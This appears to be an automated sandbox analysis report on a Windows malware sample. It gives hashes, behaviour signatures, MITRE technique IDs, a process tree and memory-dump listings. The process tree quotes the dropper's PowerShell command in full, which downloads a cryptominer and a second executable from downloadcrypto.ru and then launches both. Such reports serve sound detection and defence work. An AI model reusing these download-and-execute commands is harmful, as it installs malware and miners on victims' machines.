58ac096c4b57fe64461e8a162889c4c23089bc13ddc1188d0063c2a1169f94b3

General

Target

59531cb95299227ef8a9102fe7b04323.exe
Size

11.4MB
MD5

59531cb95299227ef8a9102fe7b04323
SHA1

028ab74b67c2e3a530bac4bf25ca072049aaee70
SHA256

58ac096c4b57fe64461e8a162889c4c23089bc13ddc1188d0063c2a1169f94b3
SHA512

7fb060f3eb4787293803a43c20978eb17760b74168eea629a79eaed2b41425edd6849f8773c3036449b3286298a4e6395079d9a730f0d684643294842a822472
SSDEEP

196608:k1EwMlSWxlhEu3DPwlhi81/s0d7fpIKFMfDQBJvoRpRkG0kRCIXRV+Yz:k1mlSW/uGDPwLi81/s0V/MLo6XRk+RCM

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://downloadcrypto.ru/soft/nbminer_37.6.exe

exe.dropper

http://downloadcrypto.ru/soft/Weakness.exe

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	59531cb95299227ef8a9102fe7b04323.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3516	3640	WerFault.exe	94

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3640	powershell.exe
3640	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3640	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1148 wrote to memory of 4544	1148	59531cb95299227ef8a9102fe7b04323.exe	89
PID 1148 wrote to memory of 4544	1148	59531cb95299227ef8a9102fe7b04323.exe	89
PID 1148 wrote to memory of 4544	1148	59531cb95299227ef8a9102fe7b04323.exe	89
PID 1148 wrote to memory of 1516	1148	59531cb95299227ef8a9102fe7b04323.exe	92
PID 1148 wrote to memory of 1516	1148	59531cb95299227ef8a9102fe7b04323.exe	92
PID 1148 wrote to memory of 1516	1148	59531cb95299227ef8a9102fe7b04323.exe	92
PID 1516 wrote to memory of 3640	1516	cmd.exe	94
PID 1516 wrote to memory of 3640	1516	cmd.exe	94
PID 1516 wrote to memory of 3640	1516	cmd.exe	94
PID 1148 wrote to memory of 3904	1148	59531cb95299227ef8a9102fe7b04323.exe	103
PID 1148 wrote to memory of 3904	1148	59531cb95299227ef8a9102fe7b04323.exe	103
PID 1148 wrote to memory of 3904	1148	59531cb95299227ef8a9102fe7b04323.exe	103

C:\Users\Admin\AppData\Local\Temp\59531cb95299227ef8a9102fe7b04323.exe
"C:\Users\Admin\AppData\Local\Temp\59531cb95299227ef8a9102fe7b04323.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1148
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo tvZeSMv
  2⤵
  PID:4544
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -command If ($env:computername -eq 'DESKTOP-QO5QU33') {exit}; Import-Module BitsTransfer; Start-BitsTransfer -Source http://downloadcrypto.ru/soft/nbminer_37.6.exe,http://downloadcrypto.ru/soft/Weakness.exe -Destination AijormzYrjJ.exe,CDVIeJgPLSLZm.exe;
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1516
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command If ($env:computername -eq 'DESKTOP-QO5QU33') {exit}; Import-Module BitsTransfer; Start-BitsTransfer -Source http://downloadcrypto.ru/soft/nbminer_37.6.exe,http://downloadcrypto.ru/soft/Weakness.exe -Destination AijormzYrjJ.exe,CDVIeJgPLSLZm.exe;
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3640
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3640 -s 2292
      4⤵
      Program crash
      PID:3516
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start AijormzYrjJ.exe & start CDVIeJgPLSLZm.exe
  2⤵
  PID:3904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 3640 -ip 3640
1⤵
PID:4284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b5ayur5n.v4r.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3640-11-0x0000000006120000-0x0000000006186000-memory.dmp

Filesize
408KB

Download
memory/3640-23-0x0000000006660000-0x00000000066AC000-memory.dmp

Filesize
304KB

Download
memory/3640-8-0x0000000005910000-0x0000000005F38000-memory.dmp

Filesize
6.2MB

Download
memory/3640-7-0x00000000052D0000-0x00000000052E0000-memory.dmp

Filesize
64KB

Download
memory/3640-9-0x0000000005790000-0x00000000057B2000-memory.dmp

Filesize
136KB

Download
memory/3640-10-0x00000000060B0000-0x0000000006116000-memory.dmp

Filesize
408KB

Download
memory/3640-5-0x0000000072CB0000-0x0000000073460000-memory.dmp

Filesize
7.7MB

Download
memory/3640-4-0x0000000003140000-0x0000000003176000-memory.dmp

Filesize
216KB

Download
memory/3640-6-0x00000000052D0000-0x00000000052E0000-memory.dmp

Filesize
64KB

Download
memory/3640-21-0x0000000006190000-0x00000000064E4000-memory.dmp

Filesize
3.3MB

Download
memory/3640-22-0x0000000006620000-0x000000000663E000-memory.dmp

Filesize
120KB

Download
memory/3640-24-0x00000000078A0000-0x0000000007936000-memory.dmp

Filesize
600KB

Download
memory/3640-26-0x0000000006B80000-0x0000000006BA2000-memory.dmp

Filesize
136KB

Download
memory/3640-27-0x0000000007EF0000-0x0000000008494000-memory.dmp

Filesize
5.6MB

Download
memory/3640-25-0x0000000006B60000-0x0000000006B7A000-memory.dmp

Filesize
104KB

Download
memory/3640-28-0x0000000007800000-0x0000000007822000-memory.dmp

Filesize
136KB

Download
memory/3640-29-0x0000000007880000-0x0000000007894000-memory.dmp

Filesize
80KB

Download
memory/3640-30-0x0000000072CB0000-0x0000000073460000-memory.dmp

Filesize
7.7MB

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Analysis

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